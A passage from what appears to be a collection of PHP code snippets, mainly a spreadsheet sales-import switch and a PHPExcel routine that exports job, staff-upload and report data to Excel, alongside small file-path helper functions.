intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - MHF PUSAT\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('G'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('J'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - NSI\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('J'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('K'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - SURYATARA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('E'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"OUT - DASA\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('D'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('F'.$row)->getValue());\n $this->SimpanSales($data->kode_barang,$qty,$periode,$principal);\n \n }\n } \n break;\n\n case \"PO\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $no_po = $worksheet->getCell('B4')->getValue();\n $this->SimpanPO($data->kode_barang,$qty,$periode,$no_po);\n \n }\n } \n break;\n\n case \"Others\":\n for ($row = 1; $row <= $lastRow; $row++) {\n\n $datacell = $worksheet->getCell('B'.$row)->getValue();\n $query = MstBarang::find()->where(['alias' => $datacell]);\n if($query->count() > 0){\n $data = $query->one();\n $qty = intval($worksheet->getCell('C'.$row)->getValue());\n $type = $worksheet->getCell('B4')->getValue();\n $this->SimpanOthers($data->kode_barang,$qty,$periode,$type);\n \n }\n } \n break;\n\n default:\n echo \"Your favorite color is neither red, blue, nor green!\";\n }\n\n }", "protected function checkExcel(): void\n {\n if ('application/vnd.openxmlformats-officedocument.spreadsheetml.sheet' === $this->mimeType ||\n 'application/vnd.openxmlformats-officedocument.spreadsheetml.template' === $this->mimeType ||\n 'application/vnd.ms-excel' === $this->mimeType ||\n 'xls' === $this->fileExtension ||\n 'xlsx' === $this->fileExtension\n ) {\n $this->iconClass = self::ICON_EXCEL;\n }\n }", "public function get_file() {\n\t\treturn __FILE__;\n\t}", "public static function getFilePath()\n {\n $path = dirname(__FILE__) . \"/i18n.xml\";\n if(file_exists($path)) {\n return $path;\n }\n \n $path = '@data_dir@/Ilib_Countries/Ilib/Countries/i18n.xml';\n if(file_exists($path)) {\n return $path;\n }\n \n throw new Exception('Unable to locate data file');\n }", "public function getFile()\n {\n $file = Input::file('report');\n $filename = $this->doSomethingLikeUpload($file);\n\n // Return it's location\n return $filename;\n }", "public function getPathToFile(): string;", "public function direct($pids)\n {\n \t\trequire_once 'PHPExcel/Classes/PHPExcel.php';\n\t\t$objPHPExcel = new PHPExcel(); \n\t\t$objPHPExcel->getProperties()\n\t\t\t\t\t->setCreator(\"user\")\n\t\t\t\t\t->setLastModifiedBy(\"user\")\n\t\t\t\t\t->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t->setDescription(\"Test document for Office 2007 XLSX, generated using PHP classes.\")\n\t\t\t\t\t->setKeywords(\"office 2007 openxml php\")\n\t\t\t\t\t->setCategory(\"Test result file\");\n\t\t\t//print_r($pids); die;\n\t\tforeach(range('A','D') as $columnID) {\n\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($columnID)\n\t\t\t\t->setAutoSize(true);\n\t\t}\n //if(!empty($pids))\n if(isset($_GET['cjid']))\n {\n\t $pids = explode(',', $_GET['cjid']);\n\t\t$row=1;\n\t\tforeach($pids as $pid)\n\t\t{\n\t\t\t$oldreportname = '';\n\t\t\tif($row != 1){$row = $row+2;}\n\t\t\t$jobdata = $this->report_details($pid);\n\t\t\t\n\t\t\t// Set the active Excel worksheet to sheet 0\n\t\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\t// Initialise the Excel row number\n\t\t\t$rowCount = 0; \n\t\t\t$propname = $this->propname($pid);\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $propname->job_listing);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':E'.$row);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('A'.$row.':E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\n\t\t\t$row = $row+2;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Staff #');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Started By');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'Job Start (or unpause)');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Pause');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Job End');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(5, $row, 'Completed By');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('F'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t// Build cells\n\t\t\t$row++;\n\t\t\t$count =1;\n\t\t\twhile( $objRow = $jobdata->fetch_object() )\n\t\t\t{ \n\t\t\t\t$col=0;\n\t\t\t\t$startdate = date('Y-m-d h:i:s a', strtotime($objRow->starting_date));\n\t\t\t\tif($objRow->pausing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$pausedate = date('Y-m-d h:i:s a', strtotime($objRow->pausing_date));\n\t\t\t\telse\n\t\t\t\t\t$pausedate = '00:00 Null';\n\t\t\t\tif($objRow->closing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$enddate = date('Y-m-d h:i:s a', strtotime($objRow->closing_date));\n\t\t\t\telse\n\t\t\t\t\t$enddate = '00:00 Null';\n\t\t\t\t$closedate = strtotime($objRow->closing_date);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $count);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->started_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$col++; \n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $startdate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $pausedate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $enddate);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->closed_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$row++; $count++;\n\t\t\t\t \n\t\t\t}\n\t\t\t\n\t\t\t$staffuploadsdata = $this->staffuploads($pid);\n\t\t\t$row = $row + 3\t;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'StaffName');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Date');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Images');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('C'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('D'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t\n\t\t\t//$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(40);\n\t\t\t\n\t\t\t$row++;\n\t\t\t$supload = array();\n\t\t\twhile($objRow = $staffuploadsdata->fetch_object()) // Fetch the result in the object array\n\t\t\t{\t\n\t\t\t\t$supload[] = get_object_vars($objRow);\t\n\t\t\t}\n\t\t\tforeach($supload as $objRow1)\n\t\t\t{\n\t\t\t\t$col = 2;\n\t\t\t\tforeach($objRow1 as $key=>$value) {\n\t\t\t\t\tif($key == 'images')\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(150);\n\t\t\t\t\t\t$col = $row;\n\t\t\t\t\t\tif (strpos($value, ',') !== false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$img = explode(',', $value);\n\t\t\t\t\t\t\tforeach($img as $pimg)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$pimg; \n\t\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t\t\t++$imgcell;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t$image = $value;\n\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$image; \n\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telseif($key == 'staff_id')\n\t\t\t\t\t{\n\t\t\t\t\t\t$staffname = $this->staffname($value);\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $staffname->f_name.' '.$staffname->l_name);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t}\n\t\t\t\t\t$col++;\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t\t//\n\t\t\tif( isset($_GET['exp']) && $_GET['exp'] == 'all')\n\t\t\t{\n\t\t\t$row = $row+2;\n\t\t\t$propertyreports = $this->export_property_reports($pid);\n\t\t\twhile($objRow = $propertyreports->fetch_object())\n\t\t\t{\n\t\t\t\t$col=0;\n\t\t\t\t$fbody = json_decode($objRow->form_body); \n\t\t\t\t$report_name = $objRow->report_name;\n\t\t\t\tif($oldreportname != $report_name){\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $report_name);\n\t\t\t\t\t\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':C'.$row);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t\t\t->getStyle('A'.$row.':C'.$row)\n\t\t\t\t\t->getAlignment()\n\t\t\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\t\t$row = $row+2;\n\t\t\t\t\t\n\t\t\t\t\tif($report_name != 'Equip Problems to Report') { \n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Location');\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Property');\n\t\t\t\t\t\t$i=2;\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t$i=0;\n\t\t\t\t\t}\n\t\t\t\t\t$x = 0;\n\t\t\t\t\t$y = 0;\n\t\t\t\t\tforeach($fbody as $fb)\n\t\t\t\t\t{ \n\t\t\t\t\t\tif($fb->field_type != 'fieldset')\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($fb->label == ''){\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\telse \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage') \n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$fb->label = $fbody[$x]->label.\"-\".$fb->label;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i, $row, $fb->label);\n\t\t\t\t\t\t\t\t$i++;\n\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t$y++; \n\t\t\t\t\t\t\n\t\t\t\t\t\t} \n\t\t\t\t\t\telse \n\t\t\t\t\t\t{ \n\t\t\t\t\t\t\tif($y>0) { $x = $x+3;} \n\t\t\t\t\t\t} \n\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Name');\n\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($i++, $row, 'Date');\n\t\t\t\t\t$row++;\n\t\t\t\t}\n\t\t\t\t$locname = $this->objFunction->iFindAll(TBL_SERVICE, array('id'=>$objRow->location_id));\n\t\t\t\t$propname = $this->objFunction->iFindAll(TBL_JOBLOCATION, array('id'=>$objRow->property_id));\n\t\t\t\t$uname = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->submitted_by));\n\t\t\t\t$date = $objRow->submission_date; \n\t\t\t\t$fdata = json_decode($objRow->form_values, true);\n\t\t\t\t$fields = array('db_location','db_property','rid','user_id','timestamp');\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $locname[0]->name);$col++;\t\t\t\t\t\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $propname[0]->job_listing);$col++; \n\t\t\t\t\n\t\t\t\tforeach($fdata as $key=>$val)\n\t\t\t\t{\n\t\t\t\t\tif( ($key != 'form_token') && ($key != 'send') ){\n\t\t\t\t\t\tif( in_array($key, $fields) === false){ \n\t\t\t\t\t\t\t \n\t\t\t\t\t\t\tif($objRow->report_name == 'Subcontractors Equipment Usage' )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif($val == '') {\n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, 0);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t} \n\t\t\t\t\t\t\t\telse { \n\t\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\n\t\t\t\t\t\t\t\t\t$col++;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telseif(is_array($val)) \n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, implode(',', $val));\t\t \t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $val);\t\t \t\n\t\t\t\t\t\t\t\t$col++; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t} \n\t\t\t\t}\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $uname[0]->f_name . ' ' .$uname[0]->l_name);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, date('Y-m-d h:i A', strtotime($date)));\n\t\t\t\t$row++;\n\t\t\t\t$oldreportname = $report_name;\n\t\t\t\t\n\t\t\t}\n\t\t\t}\n\t\t\t//\n\t\t}\n\t}\n elseif(!isset($_GET['jid']))\n\t{\n\t\t$strSql = \"select id from \".TBL_JOBLOCATION;\n\t\t$propids = $this->objDatabase->dbQuery($strSql);\n\t\t$pids = array();\n\t\tforeach($propids as $propid){ $pids[] = $propid['id'];}\n\t\t//print_r($pids); die;\n\t\t$row=1;\n\t\tforeach($pids as $pid)\n\t\t{\n\t\t\t$oldreportname = '';\n\t\t\tif($row != 1){$row = $row+2;}\n\t\t\t$jobdata = $this->report_details($pid);\n\t\t\t\n\t\t\t// Set the active Excel worksheet to sheet 0\n\t\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\t// Initialise the Excel row number\n\t\t\t$rowCount = 0; \n\t\t\t$propname = $this->propname($pid);\n\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row, $propname->job_listing);\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->mergeCells('A'.$row.':E'.$row);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('A'.$row.':E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(16);\n\t\t\t\n\t\t\t$row = $row+2;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(0, $row, 'Staff #');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(1, $row, 'Started By');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'Job Start (or unpause)');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Pause');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Job End');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(5, $row, 'Completed By');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('F'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t// Build cells\n\t\t\t$row++;\n\t\t\t$count =1;\n\t\t\twhile( $objRow = $jobdata->fetch_object() )\n\t\t\t{ \n\t\t\t\t$col=0;\n\t\t\t\t$startdate = date('Y-m-d h:i:s a', strtotime($objRow->starting_date));\n\t\t\t\tif($objRow->pausing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$pausedate = date('Y-m-d h:i:s a', strtotime($objRow->pausing_date));\n\t\t\t\telse\n\t\t\t\t\t$pausedate = '00:00 Null';\n\t\t\t\tif($objRow->closing_date != '0000-00-00 00:00:00')\n\t\t\t\t\t$enddate = date('Y-m-d h:i:s a', strtotime($objRow->closing_date));\n\t\t\t\telse\n\t\t\t\t\t$enddate = '00:00 Null';\n\t\t\t\t$closedate = strtotime($objRow->closing_date);\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $count);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->started_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$col++; \n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $startdate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $pausedate);$col++;\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $enddate);$col++;\n\t\t\t\t$rowD = $this->objFunction->iFindAll(TBL_STAFF, array('id'=>$objRow->closed_by));\n\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $rowD[0]->f_name.' '.$rowD[0]->l_name);$row++; $count++;\n\t\t\t\t \n\t\t\t}\n\t\t\t\n\t\t\t$staffuploadsdata = $this->staffuploads($pid);\n\t\t\t$row = $row + 3\t;\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(2, $row, 'StaffName');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(3, $row, 'Date');\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow(4, $row, 'Images');\n\t\t\t\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('C'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('D'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()\n\t\t\t->getStyle('E'.$row)\n\t\t\t->getAlignment()\n\t\t\t->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row)->getFont()->setBold(true)->setSize(12);\n\t\t\t\n\t\t\t$row++;\n\t\t\t$supload = array();\n\t\t\twhile($objRow = $staffuploadsdata->fetch_object()) // Fetch the result in the object array\n\t\t\t{\t\n\t\t\t\t$supload[] = get_object_vars($objRow);\t\n\t\t\t}\n\t\t\tforeach($supload as $objRow1)\n\t\t\t{\n\t\t\t\t$col = 2;\n\t\t\t\tforeach($objRow1 as $key=>$value) {\n\t\t\t\t\tif($key == 'images')\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(150);\n\t\t\t\t\t\t$col = $row;\n\t\t\t\t\t\tif (strpos($value, ',') !== false)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$img = explode(',', $value);\n\t\t\t\t\t\t\tforeach($img as $pimg)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$pimg; \n\t\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t\t\t++$imgcell;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$imgcell = 'E';\n\t\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->getColumnDimension($imgcell)->setWidth(30);\n\t\t\t\t\t\t\t$image = $value;\n\t\t\t\t\t\t\t$objDrawing = new PHPExcel_Worksheet_Drawing();\n\t\t\t\t\t\t\t$objDrawing->setName('Customer Signature');\n\t\t\t\t\t\t\t$objDrawing->setDescription('Customer Signature');\n\t\t\t\t\t\t\t//Path to signature .jpg file\n\t\t\t\t\t\t\t$signature = $_SERVER['DOCUMENT_ROOT'].'/upload/'.$image; \n\t\t\t\t\t\t\t$objDrawing->setPath($signature);\n\t\t\t\t\t\t\t$objDrawing->setOffsetX(25); //setOffsetX works properly\n\t\t\t\t\t\t\t$objDrawing->setOffsetY(10); //setOffsetY works properly\n\t\t\t\t\t\t\t$objDrawing->setCoordinates($imgcell.$col); //set image to cell \n\t\t\t\t\t\t\t$objDrawing->setWidth(200); \n\t\t\t\t\t\t\t$objDrawing->setHeight(190); //signature height \n\t\t\t\t\t\t\t$objDrawing->setWorksheet($objPHPExcel->getActiveSheet());\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telseif($key == 'staff_id')\n\t\t\t\t\t{\n\t\t\t\t\t\t$staffname = $this->staffname($value);\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $staffname->f_name.' '.$staffname->l_name);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\t$objPHPExcel->getActiveSheet()->setCellValueByColumnAndRow($col, $row, $value);\n\t\t\t\t\t}\n\t\t\t\t\t$col++;\n\t\t\t\t}\n\t\t\t\t$row++;\n\t\t\t}\n\t\t\t//\n\t\t\tif( isset($_GET['exp']) && 